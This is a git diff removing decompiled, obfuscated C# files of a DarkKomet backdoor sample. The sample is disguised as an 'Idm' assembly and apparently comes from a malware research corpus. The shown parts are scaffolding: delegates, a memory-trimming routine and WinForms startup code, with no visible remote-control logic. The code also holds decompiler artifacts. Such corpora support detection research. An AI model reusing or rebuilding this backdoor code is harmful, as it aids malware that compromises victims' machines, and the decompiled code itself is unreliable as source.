b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0017_0003.cs deleted file mode 100644 index 7d30dc50..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0017_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0017\u0003([In] int obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0017_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0017_0004.cs deleted file mode 100644 index ddbead6a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0017_0004.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -internal delegate string \u0017\u0004(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0018_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0018_0003.cs deleted file mode 100644 index 276b7c37..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0018_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; - -internal delegate Version \u0018\u0003(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0018_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0018_0004.cs deleted file mode 100644 index 4543e020..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0018_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0018\u0004([In] Array obj0, [In] RuntimeFieldHandle obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0019_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0019_0003.cs deleted file mode 100644 index b2011d86..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0019_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; - -internal delegate OperatingSystem \u0019\u0003(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0019_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0019_0004.cs deleted file mode 100644 index f23be094..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0019_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u0019\u0004([In] object obj0, [In] OpCode obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0002.cs deleted file mode 100644 index b8399e18..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u001A\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0003.cs deleted file mode 100644 index 9e5744d5..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u001A\u0003([In] object obj0, [In] object obj1, [In] EventArgs obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0004.cs deleted file mode 100644 index 5c1e2de9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u001A\u0004([In] object obj0, [In] OpCode obj1, [In] int obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0006/_0019_0006.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0006/_0019_0006.cs deleted file mode 100644 index a15177ce..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001A_0006/_0019_0006.cs +++ /dev/null @@ -1,137 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u001A\u0006; -using \u007F\u0004; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using System.Xml.Serialization; - -namespace \u001A\u0006 -{ - internal class \u0019\u0006 - { - private static \u0019\u0006 \u0001; - private long \u0002; - - [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")] - private static extern int \u0006\u0002( - [XmlElement(DataType = "base64Binary")] IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - private void \u0006\u0002() - { - Process currentProcess; - try - { - try - { - currentProcess = Process.GetCurrentProcess(); - try - { - \u0019\u0006.\u0006\u0002(currentProcess.Handle, -1, -1); - } - finally - { - currentProcess?.Dispose(); - } - } - catch - { - } - } - catch (Exception ex) - { - Process process = currentProcess; - \u0089\u0004.\u0019\u0005(ex, (object) process, (object) this); - throw; - } - } - - private void \u0006\u0002(object sender, EventArgs e) - { - DateTime dateTime; - long ticks; - try - { - try - { - DateTime now = DateTime.Now; - if (true) - goto label_4; -label_1: - ticks = dateTime.Ticks; - if (ticks - this.\u0002 <= 10000000L) - return; - this.\u0002 = ticks; - this.\u0006\u0002(); - return; -label_4: - dateTime = now; - goto label_1; - } - catch - { - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) ticks; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) dateTime; - object obj = sender; - EventArgs eventArgs = e; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) this, obj, (object) eventArgs); - throw; - } - } - - private \u0019\u0006() - { - DateTime now = DateTime.Now; - this.\u0002 = now.Ticks; - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - Application.Idle += new EventHandler(this.\u0006\u0002); - this.\u0006\u0002(); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) now; - \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this); - throw; - } - } - - public static void \u0005\u0002() - { - try - { - try - { - if (Environment.OSVersion.Platform != PlatformID.Win32NT) - return; - \u0019\u0006.\u0001 = new \u0019\u0006(); - } - catch - { - } - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0002.cs deleted file mode 100644 index 1a90d974..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u001B\u0002([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0003.cs deleted file mode 100644 index 4340263f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate bool \u001B\u0003([In] Guid obj0, [In] Guid obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004.cs deleted file mode 100644 index 84e96076..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u001B\u0004([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0001_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0001_0002.cs deleted file mode 100644 index 8586cc48..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0001_0002.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using Idm.My; -using System; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u001B\u0004 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class \u0001\u0002 - { - [SpecialName] - internal static MySettings \u001A\u0004() - { - try - { - // ISSUE: variable of a compiler-generated type - MySettings mySettings1 = MySettings.Default; - // ISSUE: variable of a compiler-generated type - MySettings mySettings2 = mySettings1; - return mySettings2; - } - catch (Exception ex) - { - // ISSUE: variable of a compiler-generated type - MySettings mySettings3; - // ISSUE: variable of a compiler-generated type - MySettings mySettings4 = mySettings3; - \u0089\u0004.\u0018\u0005(ex, (object) mySettings4); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0091.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0091.cs deleted file mode 100644 index 822f6e17..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0091.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .‘ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u001B\u0004; -using \u007F\u0004; -using \u0096\u0004; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u001B\u0004 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class \u0091 : WindowsFormsApplicationBase - { - private static List \u0001; - - [DebuggerNonUserCode] - static \u0091() - { - try - { - \u0091.\u0001 = new List(); - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - internal static void \u0019\u0003([In] string[] obj0) - { - try - { - if (!\u0095\u0004.\u0005\u0002()) - return; - try - { - Application.SetCompatibleTextRenderingDefault(\u0083\u0004.\u0096\u0006()); - } - finally - { - } - \u0081\u0004.\u007E\u0094\u0006((object) \u0094.\u001B\u0003(), obj0); - } - catch (Exception ex) - { - object[] objArray = new object[1]{ (object) obj0 }; - \u0091\u0004.\u008F\u0005(ex, objArray); - } - } - - public \u0091() - : base(AuthenticationMode.Windows) - { - List weakReferenceList1; - try - { - weakReferenceList1 = \u0091.\u0001; - \u001A\u0002.\u0014\u0004((object) weakReferenceList1); - try - { - \u0091.\u0001.Add(new WeakReference((object) this)); - } - finally - { - \u001A\u0002.\u0015\u0004((object) weakReferenceList1); - } - \u0084\u0004.\u007E\u009B\u0006((object) this, false); - \u0084\u0004.\u007E\u009A\u0006((object) this, true); - \u0084\u0004.\u007E\u0098\u0006((object) this, true); - \u0086\u0004.\u007E\u0099\u0006((object) this, ShutdownMode.AfterMainFormCloses); - } - catch (Exception ex) - { - List weakReferenceList2 = (object) weakReferenceList1; - \u0089\u0004.\u0019\u0005(ex, (object) weakReferenceList2, (object) this); - throw; - } - } - - protected override void OnCreateMainForm() - { - try - { - this.MainForm = (Form) \u0094.\u001D\u0003().\u001F\u0003(); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0093.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0093.cs deleted file mode 100644 index 7801a6ed..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0093.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .“ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using Microsoft.VisualBasic.Devices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace \u001B\u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class \u0093 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0093() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0094.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0094.cs deleted file mode 100644 index 7c645c3e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001B_0004/_0094.cs +++ /dev/null @@ -1,380 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .” -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u001B\u0004; -using \u001C\u0004; -using \u007F\u0004; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u001B\u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0094 - { - private static readonly \u0094.\u0097<\u0093> \u0001; - private static readonly \u0094.\u0097<\u0091> \u0002; - private static readonly \u0094.\u0097 \u0003; - private static \u0094.\u0097<\u0094.\u0095> \u0004; - private static readonly \u0094.\u0097<\u0094.\u0096> \u0005; - - [DebuggerNonUserCode] - static \u0094() - { - try - { - \u0094.\u0001 = new \u0094.\u0097<\u0093>(); - \u0094.\u0002 = new \u0094.\u0097<\u0091>(); - \u0094.\u0003 = new \u0094.\u0097(); - \u0094.\u0004 = new \u0094.\u0097<\u0094.\u0095>(); - \u0094.\u0005 = new \u0094.\u0097<\u0094.\u0096>(); - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - [SpecialName] - internal static \u0091 \u001B\u0003() - { - try - { - return \u0094.\u0002.\u0083\u0003(); - } - catch (Exception ex) - { - \u0091 obj1; - \u0091 obj2 = obj1; - \u0089\u0004.\u0018\u0005(ex, (object) obj2); - throw; - } - } - - [SpecialName] - internal static \u0094.\u0095 \u001D\u0003() - { - try - { - return \u0094.\u0004.\u0083\u0003(); - } - catch (Exception ex) - { - \u0094.\u0095 obj1; - \u0094.\u0095 obj2 = obj1; - \u0089\u0004.\u0018\u0005(ex, (object) obj2); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0095 - { - public \u009D \u0001; - [ThreadStatic] - private static Hashtable \u0002; - - [DebuggerNonUserCode] - [SpecialName] - public \u009D \u001F\u0003() - { - try - { - this.\u0001 = \u0094.\u0095.\u0080\u0003<\u009D>(this.\u0001); - return this.\u0001; - } - catch (Exception ex) - { - \u009D obj1; - \u009D obj2 = obj1; - \u0089\u0004.\u0019\u0005(ex, (object) obj2, (object) this); - throw; - } - } - - private static \u0098 \u0080\u0003<\u0098>([In] \u0098 obj0) where \u0098 : Form, new() - { - bool flag1; - bool flag2; - \u0098 obj1; - string[] strArray1; - string message; - bool flag3; - try - { - flag3 = (object) obj0 == null || obj0.IsDisposed; - if (flag3) - { - flag1 = \u0094.\u0095.\u0002 != null; - if (flag1) - { - // ISSUE: type reference - flag2 = \u0083\u0002.\u007E\u001D\u0004((object) \u0094.\u0095.\u0002, (object) \u0082\u0003.\u008C\u0003(__typeref (\u0098))); - if (flag2) - throw new InvalidOperationException(\u0090\u0004.\u000F\u0007(\u0002.\u0002\u0002(2997), new string[0])); - } - else - \u0094.\u0095.\u0002 = new Hashtable(); - // ISSUE: type reference - \u008B\u0003.\u007E\u001C\u0004((object) \u0094.\u0095.\u0002, (object) \u0082\u0003.\u008C\u0003(__typeref (\u0098)), (object) null); - try - { - obj1 = new \u0098(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (\u001D\u0002.\u007E\u0088\u0002((object) ex) != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - \u0090\u0004 obj2 = \u0090\u0004.\u000F\u0007; - string str = \u0002.\u0002\u0002(3038); - strArray1 = new string[1] - { - \u0082\u0002.\u007E\u0086\u0002((object) \u001D\u0002.\u007E\u0088\u0002((object) ex)) - }; - string[] strArray2 = strArray1; - message = obj2(str, strArray2); - throw new InvalidOperationException(message, \u001D\u0002.\u007E\u0088\u0002((object) ex)); - } - finally - { - // ISSUE: type reference - \u008C\u0003.\u007E\u007F\u0004((object) \u0094.\u0095.\u0002, (object) \u0082\u0003.\u008C\u0003(__typeref (\u0098))); - } - } - else - obj1 = obj0; - return obj1; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed<\u0098> local1 = (object) obj1; - string str = message; - TargetInvocationException invocationException = ex; - string[] strArray3 = strArray1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) flag3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) flag1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) flag2; - // ISSUE: variable of a boxed type - __Boxed<\u0098> local5 = (object) obj0; - \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) str, (object) invocationException, (object) strArray3, (object) local2, (object) local3, (object) local4, (object) local5); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0095() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) - { - try - { - return base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - } - catch (Exception ex) - { - bool flag; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) flag; - object obj = obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local, (object) this, obj); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() - { - try - { - return base.GetHashCode(); - } 